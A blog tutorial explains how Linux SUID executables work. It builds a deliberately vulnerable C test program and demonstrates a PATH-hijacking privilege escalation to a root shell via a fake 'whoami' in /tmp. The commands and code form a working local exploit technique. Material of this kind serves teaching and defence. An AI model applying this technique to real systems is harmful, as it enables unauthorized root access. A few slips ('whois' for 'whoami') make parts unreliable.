Clarifying Linux privilege escalation with SUID programs
2022-08-142098 words
When looking into privilege escalation in Linux, there are a couple of common methods that pop up, such as finding out which commands the unprivileged user can run with sudo
, kernel exploits, and the one I want to talk about today - programs with the SUID bit set. The reason I want to talk about this kind of exploit is that I think a lot of tutorials on how these exploits work glance over a crucial piece of the puzzle. So, let’s dive right in!
What is the SUID bit?
The SUID bit is part of the Linux permission system, and stands for “Set User ID”. There is an analogous bit called “SGID”, meaning “Set Group ID”. What these two bits do is that they tell the operating system that a program with one of these bits set should run as the user or group that owns the program, as opposed to the user running the program. It might sound a bit confusing, but it really isn’t. If you’ve working with Linux for any amount of time, you will have used at least one program that does exactly this - sudo
.
The sudo
binary is owned by root
and has the SUID bit set, meaning that no matter which user runs sudo
, the process runs as root
. This is how sudo
is able to grant an ordinary user root permissions, and this is the essence of how the SUID bit works. As long as the program is built and configured correctly, no matter who runs the program, it will run as the owner of the executable. The terminal output below shows this quite clearly:
$ whoami
escalatedquickly
$ sudo whoami
root
This piece of information, that the executable has to be owned by the user you’re trying to escalate to, is absolutely crucial to exploiting SUID programs, and it’s something that most guides I’ve seen just glance over very quickly. Perhaps I’m the only one who have found all this confusing in the past, but I wanted to touch on this regardless.
How are SUID executables made?
To give an executable the capability to run as the file owner, two things need to be done. Firstly, the SUID permission bit must be set for the executable. If this bit is not set, it doesn’t matter what the executable actually does - it will always run as the user executing the file. Secondly, the program has to actually set the desired user ID. Let’s run through a small test program to demonstrate how this all fits together. This is the code we’ll work with:
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
int
main (int argc, char *argv[]) {
if(argc == 1) return EINVAL;
int id = atoi(argv[1]);
setreuid(id,id);
system("whoami");
return EXIT_SUCCESS;
}
The code takes an argument defining the user ID that we want to execute the program as. This is turned into an integer, passed to the function setreuid(id,id);
, and then whoami
is called to show which user the program is running as. Let’s compile the code, give it the SUID bit, and run it with the user ID (UID) of my current user:
$ gcc test.c -o suidtest
$ chmod u+s suidtest
$ id -u
1000
$ ls -l suidtest
-rwsrwxr-x 1 escalatedquickly escalatedquickly 16040 Jan 01 00:01 suidtest
$ ./suidtest 1000
escalatedquickly
Note that the first octet of the permissions of suidtest
is rws
, not rwx
. The s
indicates that the SUID bit is set. Now, as we run the program and give it my current UID, as expected nothing interesting happens. So then, what happens if we try running the program with the ID 1001
, belonging to the user testuser
? And what about root
, with ID 0
?
$ ./suidtest 1001
escalatedquickly
$ ./suidtest 0
escalatedquickly
As you can see, it still runs the program as my current user. This is because the file is owned escalatedquickly
, not testuser
or root
. Let’s change that. First let’s see what happens if we change the owner to testuser
:
$ sudo chown testuser:testuser suidtest
$ sudo chmod u+s suidtest
$ ls -l suidtest
-rwsr-xr-x 1 testuser testuser 16040 Jan 01 00:01 suidtest
$ ./suidtest 1000 # Run as current user
escalatedquickly
$ ./suidtest 1001 # Run as `testuser`
testuser
$ ./suidtest 0 # Run as `root`
escalatedquickly
Now we’re getting somewhere. When using the UID of my current user or root
, it still runs as my current user. But when ran with the UID of testuser
, the program is actually executed as testuser
.
Before we move on, note that the command chmod u+s
had to be executed again after changing the owner. Since this permission is automatically stripped on owner changes, we can’t just set the SUID bit for a binary we own ourselves and then just hand it over to someone else. Permission to change the permissions as the new owner is also necessary.
So, now, let’s finally change the owner to root
:
$ sudo chown root:root suidtest
$ sudo chmod u+s suidtest
$ ls -l suidtest
-rwsr-xr-x 1 root root 16040 Jan 01 00:01 suidtest
$ ./suidtest 1000
escalatedquickly
$ ./suidtest 1001
testuser
$ ./suidtest 0
root
We now have a program that is capable of running not only as root
, but as any ID we give it. Very delicious.
Exploiting SUID executables
Now we understand how what the SUID bit is, how it’s used and what requirements there are for it to actually work as we intend. So then, how do we go about exploiting them?
The first step is to find programs that do actually have the SUID bit set. A quite simple way of doing this is by using find
. As confusing as find
can be to beginners, I’d highly recommend actually learning the tool, because it is so useful. Anyway, to search for SUID executables, we can run the following:
$ find / -type f -perm -04000 2>/dev/null
...
/usr/bin/sudo
/usr/bin/mount
/usr/bin/passwd
...
This searches from the root directory /
for files (-type f
) with the SUID bit set (-perm -04000
) and throws all errors into the V O I D (2>/dev/null
). Some common programs that you’ll find this way are sudo
, mount
and passwd
. A good way of figuring out what you can do with the programs you found is to check the SUID “section” of GTFObins and see if any of the listed programs there match.
However, it may be possible to exploit a program even if it’s not listed on GTFObins. Who’d’a thunk it?. There are a number of ways to exploit executables on Linux, but since this post is mainly about clarifying what makes SUID executables tick at all, I’ll keep it short and simple for now. Actually, it just so happens that the test program we wrote earlier is exploitable. What a coincidence!
Exploiting suidtest
So, what makes suidtest
exploitable? The culprit here is the system
function. Checking the manual for the function, we can see that:
The system() library function uses fork(2) to create a child process that executes the shell
command specified in command using execl(3) as follows:
"/bin/sh", "sh", "-c", command, (char *) NULL); execl(
In other words, it’s basically just running sh -c <COMMAND>
, where <COMMAND>
is the string we give the system
function. In the case of suidtest
, <COMMAND>
is whois
. If we now check the manual for sh
, we read that:
Path Search
When locating a command, the shell first looks to see if it has a shell function by that name.
Then it looks for a builtin command by that name. If a builtin command is not found, one of
two things happen:
1. Command names containing a slash are simply executed without performing any searches.
2. The shell searches each entry in PATH in turn for the command. The value of the PATH
variable should be a series of entries separated by colons. Each entry consists of a di‐
rectory name. The current directory may be indicated implicitly by an empty directory name, or explicitly by a single period.
The second point here is what’s interesting to us - the command whois
does not contain a /
, so sh
will search for an executable with a matching name in the PATH
environment variable. PATH
is a colon-separated list of directories in which to search for commands, and these directories are searched in order. This means that if we can alter PATH
to point to a directory where we have write-permissions, we can create a file named whois
and make sure that file is found before the real whois
binary, thus having suidtest
execute our file.
A good place try would be /tmp
, as that generally has 777
permissions - i.e., anyone can read, write and execute in that directory. So, let’s hop on over there and plant our malicious file.
$ cd /tmp
$ echo '/bin/bash' > whoami
$ chmod +x whoami
Simple, yet effective. If we try running the file ourselves, we’ll see that it simply spawns a new shell running as the current user.
$ ./whoami
$ whoami
escalatedquickly
Running this file as root
should then give us a root shell. So how do we do that? This is where the PATH
variable comes into play. Since it’s an environment variable, we can change its value. To not cause too much havoc, we want to still keep the old contents of PATH
and just tack /tmp
onto it in the beginning. If we don’t running commands in our new shell will be difficult, since it’ll inherit our modified PATH
variable, making all commands unreachable. We can modify the variable by running PATH=/tmp:$PATH
in our terminal, or PATH=$(pwd):$PATH
to add the current working directory to the PATH
. So how do we make sure that suidtest
sees this change? There are two ways. First up, we use export
:
$ export PATH=$(pwd):$PATH
$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
This will “permanently” change the PATH
variable for the current session, so any subsequent commands after export
will see this change. The second way only changes the PATH
for a single command:
$ echo 'echo "$PATH"' > test.sh
$ chmod +x test.sh
$ PATH=$(pwd):$PATH ./test.sh
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Here we can see that the script test.sh
, which just prints the PATH
variable, sees the changed PATH
. Either method will work, but I’ll use the latter.
We now have our vulnerable binary, we have our malicious file in /tmp
and we know how to modify the PATH
variable that sh
will use to find the whoami
executable. So, putting this all together we get the following (assuming you’re in the same directory as suidtest
):
$ PATH=/tmp:$PATH ./suidtest 0
# /usr/bin/whoami
root
We have a root shell! Mission accomplished! Do note that we now have to use /usr/bin/whoami
to actually run the real whois
executable, since otherwise the modified PATH
that the root shell inherited will just run our malicious whoami
executable instead and spawn a new shell.
Of course, we knew that suidtest
was vulnerable, which may not be the case if you’re trying to exploit a binary that you didn’t write yourself. How to figure this out from zero knowledge is out of the scope of this particular post though, so we’ll save that for another time.
Conclusion
So, if you’ve read the post and followed along, you hopefully have a better understanding of what SUID is, how it works, and how it can potentially be a way to escalate privileges. To summarize:
- The SUID bit tells the OS that an executable should be ran as its owner, not the user running the file
- For this to work, the SUID permission bit must be set, and the program must set a valid user ID using e.g. the
setreuid()
function. - For non-privileged users, only the UID of the executable’s owner is valid. For privileged users, any UID is valid.
- To be able to use this to gain root privileges, the executable must therefore be owned by
root
. - An unprivileged user can’t simply plant a SUID executable on the system and execute that, since this would require changing the owner of the file to
root
and resetting the SUID bit, which in and of itself requires root permissions.
Happy hacking!